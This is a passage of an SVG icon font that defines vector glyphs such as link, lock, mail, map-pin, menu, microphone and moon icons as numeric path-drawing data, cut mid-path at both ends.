-10.3512l-0.388672 0.000366211l-0.34613 -0.000274658q-26.481 0 -60.8457 10.3512q-34.3647 10.3512 -56.4402 24.9771l-122.027 -122.027zM211.968 144.299l122.027 122.027 q-14.6259 22.0754 -24.9771 56.4402t-10.3512 60.8458l0.000335693 0.388672q0 64.2685 35.328 117.632l-122.027 122.027q-34.7629 -43.3876 -59.3657 -113.441q-24.6027 -70.0538 -24.6027 -125.65l0.000419617 -0.567108q0 -134.741 83.968 -239.702zM272.299 684.032 l122.027 -122.027q22.0754 14.626 56.4402 24.9772q34.3647 10.3512 60.8458 10.3512l0.388611 -0.000366211q64.2686 0 117.632 -35.328l122.027 122.027q-43.3877 34.7631 -113.441 59.3657q-70.0538 24.6027 -125.65 24.6027l-0.567139 -0.000427246 l-0.609711 0.000488281q-55.5963 0 -125.65 -24.6028q-70.0539 -24.6028 -113.443 -59.3657zM812.032 623.701l-122.027 -122.027q35.328 -53.4309 35.328 -117.675q0 -64.2685 -35.328 -117.632l122.027 -122.027q34.7629 43.3877 59.3657 113.441 q24.6027 70.0537 24.6027 125.65l-0.000427246 0.567108l0.000488281 0.609711q0 55.5963 -24.6028 125.65q-24.6028 70.0538 -59.3657 113.443zM512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397 q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397 t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 256q53 0 90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5z" /> <glyph glyph-name="link" unicode="" d="M392.533 315.776q31.792 -42.4917 91.8505 -72.5644q60.0585 -30.0727 113.127 -30.0727q43.903 0 96.944 21.9718q53.0411 21.9718 84.0837 53.0173l128 128q32.4592 31.2651 55.4315 85.2881q22.9724 54.023 22.9724 99.0908q0 105.984 -75.008 180.992 t-180.992 75.008q-44.8909 0 -98.7665 -22.8196q-53.8756 -22.8197 -85.1093 -55.0633l-73.8133 -73.3867q-13.1054 -12.592 -13.1054 -30.7665q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.0321 0 30.5988 12.9318l73.3867 72.96q20.4918 19.6772 55.1006 33.6033 q34.6089 13.9261 63.0186 13.9261q29.278 0 64.6391 -14.6636q35.361 -14.6636 56.047 -35.3831q20.6947 -20.6948 35.341 -56.0539t14.6463 -64.6259q0 -28.546 -14.0337 -63.2818t-33.863 -55.2704l-127.488 -127.488q-20.6968 -20.7063 -56.064 -35.3607 q-35.3672 -14.6544 -64.6436 -14.6544q-35.4003 0 -75.4534 20.0675t-61.2471 48.4223q-12.8011 17.1179 -34.176 17.1179q-17.6676 0 -30.1714 -12.5038q-12.5038 -12.5038 -12.5038 -30.1714q0 -14.1919 8.49924 -25.5573zM631.467 452.224 q-31.7921 42.4916 -91.8505 72.5643q-60.0585 30.0728 -113.127 30.0728q-43.9029 0 -96.944 -21.9718t-84.0837 -53.0173l-128 -128q-32.4592 -31.2652 -55.4315 -85.2881t-22.9723 -99.0908q0 -105.984 75.008 -180.992q75.008 -75.008 180.992 -75.008 q44.8909 0 98.7665 22.8197q53.8756 22.8197 85.1093 55.0632l73.472 73.472q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.2402 0 -29.641 -11.977l-72.96 -72.96q-49.7852 -48.1668 -119.584 -47.4507 t-119.136 50.0533q-20.6947 20.6947 -35.341 56.0538q-14.6463 35.3592 -14.6463 64.6259q0 28.5459 14.0337 63.2818q14.0337 34.7358 33.8629 55.2705l127.488 127.488q20.6962 20.7037 56.0617 35.3564q35.3655 14.6526 64.6397 14.6526q35.3844 0 75.4269 -20.0533 t61.2369 -48.3878q12.801 -17.1179 34.176 -17.1179q17.6676 0 30.1714 12.5039q12.5038 12.5038 12.5038 30.1714q0 14.1919 -8.49927 25.5573z" /> <glyph glyph-name="log-in" unicode="" d="M597.333 -85.3333h213.333q52.9919 0 90.496 37.504q37.504 37.504 37.504 90.496v682.667q0 52.992 -37.504 90.496q-37.504 37.504 -90.496 37.504h-213.333q-17.6613 -0.00268555 -30.1607 -12.504q-12.4995 -12.5013 -12.4995 -30.1627q0 -17.6613 12.4995 -30.1626 t30.1607 -12.504h213.333q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-682.667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1654 -12.5013h-213.333q-17.6613 -0.00270382 -30.1607 -12.504t-12.4995 -30.1626q0 -17.6613 12.4995 -30.1626 q12.4995 -12.5014 30.1608 -12.5042zM439.168 243.499q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l170.667 170.667q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-170.667 170.667 q-12.4007 11.9771 -29.641 11.9771q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.6411l140.501 -140.501zM640 426.667h-512q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h512q17.664 0 30.1653 12.5013 t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" /> <glyph glyph-name="list" unicode="" d="M341.333 597.333h554.667q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.6639 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-554.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1654 -12.5013zM341.333 341.333h554.667 q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-554.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM341.333 85.3333h554.667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653 t-30.1653 12.5013h-554.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM128 640zM85.3333 640q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013 t-30.1653 -12.5013t-12.5013 -30.1653zM128 384zM85.3333 384q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM128 128zM85.3333 128q0 -17.664 12.5013 -30.1653 t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653z" /> <glyph glyph-name="lock" unicode="" d="M256 469.333v128q0 105.984 75.008 180.992t180.992 75.008t180.992 -75.008t75.008 -180.992v-128h42.88q52.7806 -0.0702515 90.222 -37.4742q37.4415 -37.404 37.5646 -90.1844v-299.349q-0.0176392 -52.8507 -37.4341 -90.2547t-90.2672 -37.404 l-0.0853271 2.28882e-05h-597.76q-52.7805 0.0702591 -90.222 37.4743t-37.5646 90.1844v299.349q0.0176392 52.8507 37.4341 90.2547q37.4165 37.404 90.2672 37.404l0.0853271 -3.05176e-05zM170.667 341.675v-299.349q0 -17.386 12.4957 -29.8556t29.9577 -12.4697 h597.76q17.5975 0 30.0254 12.3934t12.4279 29.9319v299.349q-0.122192 17.4532 -12.561 29.8546q-12.4388 12.4013 -29.8923 12.4708h-597.76l-0.0853577 9.15527e-05q-17.5227 0 -29.9366 -12.4014q-12.4138 -12.4013 -12.4315 -29.9241zM341.333 469.461h341.333v127.872 q0 70.656 -50.0053 120.661q-50.0054 50.0054 -120.661 50.0054q-70.6559 0 -120.661 -50.0054q-50.0053 -50.0053 -50.0053 -120.661z" /> <glyph glyph-name="log-out" unicode="" d="M426.667 0h-213.333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v682.667q0 17.664 12.5013 30.1653t30.1653 12.5013h213.333q17.6613 0.00274658 30.1607 12.5041q12.4994 12.5013 12.4994 30.1626q0 17.6612 -12.4994 30.1625q-12.4994 12.5014 -30.1607 12.5041 h-213.333q-52.992 0 -90.496 -37.504t-37.504 -90.496v-682.667q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h213.333q17.6613 0.00270081 30.1607 12.504q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1626q-12.4994 12.5013 -30.1607 12.504v1.81353e-05 v0.000347786zM695.168 243.499q-11.9771 -12.4008 -11.9771 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977l170.667 170.667q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-170.667 170.667 q-12.4008 11.9771 -29.6411 11.9771q-17.664 0 -30.1653 -12.5014q-12.5013 -12.5013 -12.5013 -30.1653q0 -17.2404 11.977 -29.6411l140.501 -140.501zM896 426.667h-512q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h512 q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" /> <glyph glyph-name="loader" unicode="" d="M469.333 810.667v-170.667q0 -17.6641 12.5013 -30.1654t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1652zM469.333 128v-170.667 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM180.181 655.488l120.747 -120.747 q12.4008 -11.9771 29.641 -11.9771q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.9771 29.6411l-120.747 120.747q-12.4008 11.9771 -29.641 11.9771q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.6411zM662.741 172.928 l120.747 -120.747q12.4008 -11.977 29.6411 -11.977q17.6639 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.2403 -11.977 29.641l-120.747 120.747q-12.4008 11.977 -29.6411 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1654q0 -17.2403 11.977 -29.6409 zM85.3333 341.333h170.667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-170.667q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013zM768 341.333h170.667 q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-170.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM240.512 52.1813l120.747 120.747q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653 t-30.1653 12.5013q-17.2403 0 -29.641 -11.977l-120.747 -120.747q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.2403 0 29.641 11.977zM723.072 534.741l120.747 120.747q13.0256 12.5806 13.0256 30.6896 q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-120.747 -120.747q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.109 0 30.6896 13.0256z" /> <glyph glyph-name="mail" unicode="" d="M170.667 768h682.667q52.864 0 90.432 -37.568t37.568 -90.432v-512q0 -52.864 -37.5681 -90.432q-37.568 -37.568 -90.4319 -37.568h-682.667q-52.864 0 -90.432 37.568t-37.568 90.432v512q0 52.864 37.568 90.432t90.432 37.568zM891.435 659.029 q-4.89008 9.72363 -16.0538 16.6494t-22.0476 6.98798h-682.667q-26.1743 0 -38.1013 -23.6373l379.435 -265.6zM896 558.08l-359.552 -251.648q-11.0117 -7.69897 -24.448 -7.69897t-24.448 7.69897l-359.552 251.605v-430.037q0 -17.536 12.5653 -30.1013 t30.1013 -12.5653h682.667q17.5361 0 30.1014 12.5653t12.5653 30.1013z" /> <glyph glyph-name="maximize-" unicode="" d="M853.333 725.333v-213.333q0 -17.664 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v256q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z M170.667 256q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-256q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h256q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-213.333z M865.835 798.165l-298.667 -298.667q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653q12.5014 -12.5013 30.1653 -12.5013q18.1091 0 30.6896 13.0256l298.667 298.667q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013 q-18.109 0 -30.6896 -13.0255zM158.165 -30.1653l298.667 298.667q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5014 -30.1653 12.5014q-17.2403 0 -29.641 -11.9771l-298.667 -298.667q-11.977 -12.4007 -11.977 -29.641 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977z" /> <glyph glyph-name="map" unicode="" d="M640 613.632l-256 128v-587.264l256 -128v587.264zM725.333 615.253v-584.405l213.333 121.899v584.405zM319.531 847.36q10.0558 6.00592 21.7686 6.00592q10.5509 0 19.8741 -4.93927l320.171 -160.043l278.827 159.317q9.83563 5.61823 21.1627 5.61823 q17.6583 0 30.1597 -12.4973t12.507 -30.1555v-682.667q-0.0032959 -10.2488 -6.30408 -21.1t-15.2 -15.9347l-298.667 -170.667q-9.83228 -5.61343 -21.1542 -5.61343q-10.0718 0 -19.0804 4.50409l-320.939 160.427l-278.827 -159.317 q-9.83556 -5.61821 -21.1626 -5.61821q-17.6583 0 -30.1596 12.4973t-12.507 30.1556v682.667q0.00330574 10.2489 6.30399 21.1q6.30068 10.8511 15.2 15.9347zM298.667 737.152l-213.333 -121.899v-584.405l213.333 121.899v584.405z" /> <glyph glyph-name="map-pin" unicode="" d="M545.408 -7.25333q67.8688 53.8593 127.616 116.608q180.309 190.3 180.309 359.979q0 92.6718 -45.696 171.307q-45.6959 78.6348 -124.331 124.331t-171.307 45.696q-92.6718 0 -171.307 -45.696q-78.6348 -45.6959 -124.331 -124.331 q-45.696 -78.6348 -45.696 -171.307q0 -169.611 180.309 -359.979q30.7772 -32.3537 77.9573 -74.0582q47.1801 -41.7045 83.0667 -68.2779q18.1343 13.4887 33.408 25.6853v0.0426688zM734.976 50.6453q-34.5701 -36.3348 -87.7508 -82.9146 q-53.1807 -46.5798 -93.7532 -76.0614q-11.7894 -8.52442 -17.792 -12.5013q-10.7532 -7.17439 -23.68 -7.17439q-12.9268 0 -23.68 7.17439q-7.56363 5.10558 -17.792 12.5013q-40.5725 29.4815 -93.7532 76.0615q-53.1808 46.58 -87.7508 82.9145 q-203.691 214.999 -203.691 418.688q0 115.907 57.0941 214.193q57.0941 98.2858 155.38 155.38q98.2857 57.0941 214.193 57.0941q115.907 0 214.193 -57.0941q98.2858 -57.0941 155.38 -155.38q57.0941 -98.2858 57.0941 -214.193q0 -203.689 -203.691 -418.688z M512 298.667h-0.0130615q-70.656 0 -120.661 50.0053t-50.0053 120.661q0 70.6559 50.0053 120.661q50.0054 50.0054 120.661 50.0054h0.0130615q70.6506 -0.00537109 120.652 -50.0107q50.0015 -50.0054 50.0015 -120.656q0 -70.6506 -50.0015 -120.656t-120.652 -50.01z M512 384q35.328 0 60.3307 25.0027q25.0026 25.0027 25.0026 60.3307t-25.0026 60.3307q-25.0027 25.0026 -60.3307 25.0026t-60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0026z" /> <glyph glyph-name="menu" unicode="" d="M128 341.333h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5014 30.1653 -12.5013zM128 597.333h768q17.664 0 30.1653 12.5013t12.5013 30.1653 q0 17.6639 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1654 -12.5013zM128 85.3333h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-768 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" /> <glyph glyph-name="message-circle" unicode="" d="M357.717 121.557q6.56958 2.19026 13.4946 2.19026q10.1606 0 19.2307 -4.5796q27.7292 -14.008 69.3408 -23.922q41.6116 -9.91392 72.6782 -9.91392l0.871643 0.00120544q81.8851 0.0490036 165.732 51.9295q83.8464 51.8805 120.434 125.137 q14.008 27.7249 23.9219 69.3304q9.91394 41.6055 9.91394 72.6682l-0.00115967 0.849457l0.0853271 19.1147q-6.70929 121.598 -92.6023 207.919q-85.893 86.3207 -206.15 93.0515h-21.4613l-0.71582 0.000793457q-31.1138 0 -72.7835 -9.93878t-69.434 -23.982 q-73.2444 -36.6072 -125.087 -120.466q-51.843 -83.8589 -51.8513 -165.742l-0.000930786 -0.764587q0 -31.0625 9.91383 -72.6679t23.9218 -69.3301q4.57959 -9.0701 4.57959 -19.2307q0 -6.92509 -2.19026 -13.4946l-54.144 -162.304l162.261 54.1013zM895.744 224.128 q-46.331 -92.7036 -152.467 -158.373q-106.136 -65.6695 -209.773 -65.7549q-0.544922 -0.00148375 -1.08978 -0.00148375q-35.5142 0 -83.5751 10.3015t-80.4551 24.8573l-226.859 -75.6907q-6.57114 -2.19141 -13.4981 -2.19141q-17.664 0 -30.1653 12.5013 t-12.5013 30.1653q0 6.92692 2.19141 13.4981l75.648 226.901q-14.5314 32.6039 -24.8158 80.9413t-10.2843 84.033q0 103.639 65.5902 209.818q65.5902 106.179 158.267 152.568q35.2187 17.7881 88.0679 30.3774q52.8492 12.5892 92.3052 12.5892l1.00287 -0.0012207 l23.68 -0.0853271q154.579 -8.52179 263.833 -118.228q109.254 -109.706 117.82 -265.686v-21.2907l0.00140381 -1.05377q0 -39.4125 -12.5643 -92.2094t-30.3171 -87.9848z" /> <glyph glyph-name="message-square" unicode="" d="M268.501 200.832q12.4938 12.4976 30.1653 12.5013h512q17.6639 0 30.1653 12.5013t12.5014 30.1653v426.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-597.333q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653v-579.669zM158.165 -30.1653 q-20.16 -20.1604 -46.496 -9.25333q-26.336 10.9071 -26.336 39.4187v682.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h597.333q52.9921 0 90.496 -37.504t37.504 -90.496v-426.667q0 -52.992 -37.504 -90.496t-90.496 -37.504h-494.336z" /> <glyph glyph-name="minimize-" unicode="" d="M384 42.6667q0.00271606 -17.6613 12.504 -30.1607t30.1626 -12.4994q17.6613 0 30.1626 12.4994q12.5013 12.4994 12.5041 30.1607v256q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-256q-17.6613 -0.00271606 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626 t12.4994 -30.1626q12.4994 -12.5014 30.1607 -12.504h213.333zM640 725.333q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4995 -30.1627 12.4995q-17.6613 0 -30.1625 -12.4995q-12.5013 -12.4994 -12.5041 -30.1607v-256q0 -17.664 12.5014 -30.1653 q12.5013 -12.5013 30.1653 -12.5013h256q17.6613 0.00274658 30.1608 12.5041q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1627q-12.4995 12.5013 -30.1608 12.504h-213.333zM627.499 439.168l298.667 298.667q13.0256 12.5806 13.0256 30.6896 q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-298.667 -298.667q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653q12.5014 -12.5013 30.1653 -12.5013q18.1091 0 30.6897 13.0256zM158.165 -30.1653l298.667 298.667 q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5014 -30.1653 12.5014q-17.2403 0 -29.641 -11.9771l-298.667 -298.667q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977z" /> <glyph glyph-name="mic-off" unicode="" d="M13.0202 822.68l938.185 -938.185q12.3944 -11.9709 29.6259 -11.9709q17.6549 0 30.1498 12.4949t12.4949 30.1499q0 17.2314 -11.9709 29.6259l-938.185 938.185q-12.5741 13.0188 -30.6737 13.0188q-17.655 0 -30.1499 -12.4949t-12.4949 -30.1499 q0 -18.0996 13.0188 -30.6738zM341.684 511.672v-127.934q0.0327148 -70.5871 50.0124 -120.544t120.567 -49.9565q29.2308 0 64.554 14.6209t56.0029 35.2798q12.5187 12.5009 12.5187 30.1925q0 17.6647 -12.5019 30.1666t-30.1666 12.5019q-17.6563 0 -30.1499 -12.476 q-10.3383 -10.3207 -27.9937 -17.6249q-17.6554 -7.30423 -32.2635 -7.30423q-35.2495 0 -60.2393 24.9471q-24.9898 24.9471 -25.0501 60.1965v127.934q0 17.6549 -12.4949 30.1499t-30.1499 12.4949q-17.6549 0 -30.1498 -12.4949t-12.4954 -30.1495zM682.842 497.173 v227.723l6.10352e-05 0.128601q0 70.6198 -49.9797 120.599t-120.599 49.9797q-57.7211 0 -106.701 -40.0339q-48.9801 -40.0339 -60.4664 -96.6006q-0.852905 -4.20044 -0.852905 -8.48633q0 -17.6549 12.4949 -30.1498t30.1499 -12.4949q14.4302 0 26.6753 10.0085 q12.2451 10.0084 15.1166 24.15q5.74304 28.2834 30.2332 48.3004q24.4901 20.017 53.3507 20.017q35.3098 0 60.2997 -24.9899t24.9899 -60.2997l-6.10352e-05 -0.0856934v-227.766q0 -17.6549 12.4949 -30.1499t30.1498 -12.4949q17.655 0 30.1499 12.4949 t12.4942 30.1504zM695.038 202.497q-31.1532 -31.8024 -84.7086 -54.31q-53.5554 -22.5075 -98.074 -22.5075q-105.93 0 -180.899 74.9695q-74.9695 74.9695 -74.9695 180.899q0 0.942261 0.00698853 1.89059v85.5881q0 17.6549 -12.4949 30.1499t-30.1499 12.4949 t-30.1499 -12.4949t-12.4949 -30.1499v-85.2896q-0.00694275 -1.08862 -0.00694275 -2.17664q0 -92.6243 45.6725 -171.219q45.6725 -78.5945 124.267 -124.267t171.219 -45.6725q59.3477 0 130.746 30.0008q71.3981 30.0008 112.934 72.3911q11.77 12.3535 11.77 29.4164 q0 17.6549 -12.4949 30.1499q-12.4949 12.4949 -30.1498 12.4949q-17.5547 0 -30.0232 -12.3581zM768.132 469.027v-85.2896q0 -22.4051 -4.00861 -44.905q-0.836121 -4.15982 -0.836121 -8.40311q0 -17.6549 12.4949 -30.1499t30.1498 -12.4949q15.0708 0 27.4108 10.5338 t14.7054 25.4178q5.34583 29.7626 5.37323 60.0012v85.2896q0 17.6549 -12.4949 30.1499q-12.4949 12.4949 -30.1498 12.4949t-30.1499 -12.4949t-12.4948 -30.1498zM469.618 85.224v-170.579q0 -17.6549 12.4949 -30.1499q12.4949 -12.4949 30.1499 -12.4949 q17.6549 0 30.1498 12.4949t12.4949 30.1499v170.579q0 17.6549 -12.4949 30.1499q-12.4949 12.4949 -30.1498 12.4949t-30.1499 -12.4949q-12.4949 -12.4949 -12.4949 -30.1499zM341.684 -128h341.158q17.6549 0 30.1498 12.4949t12.4949 30.1499 q0 17.6549 -12.4949 30.1499q-12.4949 12.4949 -30.1498 12.4949h-341.158q-17.6549 0 -30.1499 -12.4949q-12.4949 -12.4949 -12.4949 -30.1499q0 -17.6549 12.4949 -30.1499q12.4949 -12.4949 30.1499 -12.4949z" /> <glyph glyph-name="minus-circle" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM341.333 341.333h341.333 q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-341.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" /> <glyph glyph-name="mic" unicode="" d="M682.667 725.333v-341.333q0 -70.656 -50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661v341.333q0 70.656 50.0053 120.661q50.0054 50.0054 120.661 50.0054q70.656 0 120.661 -50.0054 q50.0053 -50.0053 50.0053 -120.661zM512 810.667q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3306v-341.333q0 -35.328 25.0027 -60.3307t60.3307 -25.0027t60.3307 25.0027q25.0026 25.0027 25.0026 60.3307v341.333q0 35.3279 -25.0027 60.3306t-60.3306 25.0027z M768 469.333v-85.3333q0 -106 -75 -181t-181 -75t-181 75t-75 181v85.3333v0.00653076q0 17.664 -12.5013 30.1653q-12.5014 12.5013 -30.1653 12.5013q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-0.00653076v-85.3333q0 -92.6718 45.6959 -171.307 q45.696 -78.6348 124.331 -124.331q78.6348 -45.6959 171.307 -45.6959q92.6718 0 171.307 45.696q78.6348 45.696 124.331 124.331q45.696 78.6348 45.696 171.307v85.3333q-0.00256348 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994 q-17.6613 0 -30.1626 -12.4994t-12.5054 -30.1608zM469.333 85.3333v-170.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013 q-12.5013 -12.5013 -12.5013 -30.1653zM341.333 -128h341.333q17.6613 0.00270081 30.1607 12.504q12.4995 12.5014 12.4995 30.1626q0 17.6613 -12.4995 30.1626q-12.4994 12.5013 -30.1607 12.504h-341.333q-17.6613 -0.00270844 -30.1607 -12.504 q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626t30.1607 -12.504z" /> <glyph glyph-name="minus-square" unicode="" d="M170.667 682.88v-597.76q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h597.76q17.6 0 30.0267 12.4267q12.4266 12.4267 12.4266 30.0267v597.76q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4389 -30.0145zM85.3333 682.88 q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452zM341.333 341.333h341.333 q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-341.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" /> <glyph glyph-name="minus" unicode="" d="M213.333 341.333h597.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-597.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" /> <glyph glyph-name="moon" unicode="" d="M476.203 348.245q-41.4769 41.4772 -70.8313 112.345q-29.3544 70.8678 -29.3544 129.526q0 59.9673 20.3991 116.358q-93.3469 -33.8229 -159.411 -128.028t-66.0644 -193.491q0 -92.8456 45.7816 -171.628t124.564 -124.564q78.7823 -45.7816 171.628 -45.7816 q99.2856 0 193.491 66.0644q94.2054 66.0644 128.028 159.411q-56.391 -20.3991 -116.358 -20.3991q-58.6573 0 -129.526 29.3544q-70.8682 29.3544 -112.347 70.833zM938.453 345.472q-9.74341 -105.374 -70.192 -194.787q-60.4486 -89.413 -155.047 -141.372 t-200.422 -51.9593q-116.06 0 -214.54 57.2285t-155.709 155.709q-57.2285 98.4803 -57.2285 214.54q0 105.833 51.9645 200.436q51.9645 94.6027 141.387 155.049q89.422 60.4459 194.806 70.1805q27.5793 